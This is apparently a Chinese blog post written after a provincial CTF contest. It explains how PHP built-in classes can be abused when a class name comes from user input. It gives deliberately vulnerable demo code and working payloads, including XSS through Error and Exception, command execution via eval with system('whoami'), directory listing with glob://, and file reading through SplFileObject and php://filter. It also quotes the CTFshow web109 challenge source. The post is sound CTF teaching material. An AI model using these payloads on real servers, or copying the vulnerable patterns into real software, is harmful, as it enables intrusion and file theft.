PHP原生类在CTF当中的应用🛴

PHP原生类的应用

前几天打了浙江省赛,拿了个省二,明年努努力冲个省一。发现浙江省赛出了两题POP链,这就是为啥博客持续在更新反序列化的内容的原因哈哈哈(因为我两题都没解出来),之前练了一下pop链的构造,现在来研究一下PHP原生类的利用

本篇文章总结于https://blog.csdn.net/qq_38154820/article/details/121112935

报错类

Error

在PHP7版本中,因为Error中带有__toString方法,该方法会将传入给__toString的参数原封不动的输出到浏览器。在这么一个过程中可能会产生XSS。

我们来随便弄一个DEMO试试

<?php
$a=$_GET['a'];
$b=$_GET['b'];
echo new $a($b);

ERROR类中自动带有tostring魔术方法,我们如果这里把他当字符串输出,会自动触发tostring方法,如果这里是echo,即可造成XSS

Payload:

http://127.0.0.1/?a=Error&b=<script>alert('xss')</script>
image-20220411174642487

Exception

和Error类一样,也自带tostring方法,也可以造成XSS

image-20220411174646116

既然如此,可以会被PHP执行,我们可以换一种写法,用eval()函数让他造成RCE即可在实战中使用

DEMO:

<?php
$a=$_GET['a'];
$b=$_GET['b'];
eval("echo new $a($b);");
image-20220411174649940

payload:

?a=Exception&b=system("whoami")

因为echo new a(a(b);会输出system("whoami"),然后会被eval放入代码中去执行,即可造成RCE

遍历目录类

DirectoryIterator

DirectoryIterator类中有一个__construct()方法,他会构造一个迭代器,如果使用echo进行输出,他会返回迭代器的第一个

demo:

<?php
$a=$_GET['a'];
$b=$_GET['b'];
echo new $a($b);

我们这时候如果传入

?a=DirectoryIterator&b=.

此时是遍历当前目录,他回返回第一项,也就应该是一个点

image-20220411174654481

有的师傅就说了,这有个勾八用,我们其实还可以使用glob://协议进行匹配其余的文件

例如:

?a=DirectoryIterator&b=glob://flag*

这里的*依旧是通配符,就会匹配当前目录下的带有flag的文件

image-20220411174657529

这里如果不知道文件名,可以直接暴力搜索,使用正则匹配去使用

例如

?a=DirectoryIterator&b=glob://f[a-z]*
image-20220411174700196

FilesystemIterator

和Directorylterator差不多,不重复赘述

GlobIterator

GlobIterator和另外两个类差不多,不过glob是GlobIterator类本身自带的,因此在遍历的时候,就不需要带上glob协议头了,只需要后面的相关内容

?a=GlobIterator&b=f[a-z]*

读取文件类

SplFileObject

SplFileObject类为文件提供了一个面向对象接口,也就是这个类可以用来读文件

DEMO:

<?php
$a = $_GET['a'];
$b = $_GET['b'];
echo new $a($b);

我们传入?a=SplFileObject&b=flag.php,即可读取我们flag.php里面的内容

image-20220411174703887

除了直接传文件名之外,我们是不是可以联系到php伪协议呢?不妨来试试,传入如下payload

?a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php
image-20220411174709053

反射类

ReflectionClass

ReflectionClass反射类在PHP5新加入,继承自Reflector,它可以与已定义的类建立映射关系,通过反射类可以对类操作

反射类不仅仅可以建立对类的映射,也可以建立对PHP基本方法的映射,并且返回基本方法执行的情况。因此可以通过建立反射类new ReflectionClass(system('cmd'))来执行命令

这里我们直接使用CTFshow的web109来作为例题

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-16 11:25:09 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-29 22:02:34 

*/ 


highlight_file(__FILE__); 
error_reporting(0); 
if(isset($_GET['v1']) && isset($_GET['v2'])){ 
    $v1 = $_GET['v1']; 
    $v2 = $_GET['v2']; 

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ 
            eval("echo new $v1($v2());"); 
    } 

} 

?> 

已知了flag在./fl36dg.txt,命令执行system(‘cat fl36dg.txt’)获取flag,所以应该传入如下参数

v1=ReflectionClass&v2=system("ls")
image-20220411174715632

ReflectionMethod

和ReflectionClass一样

Typecho_Db_Exception类在/var/Typecho/Db/Query.php中,这里有一个//__toString()的注释,直接看__toString函数里的内容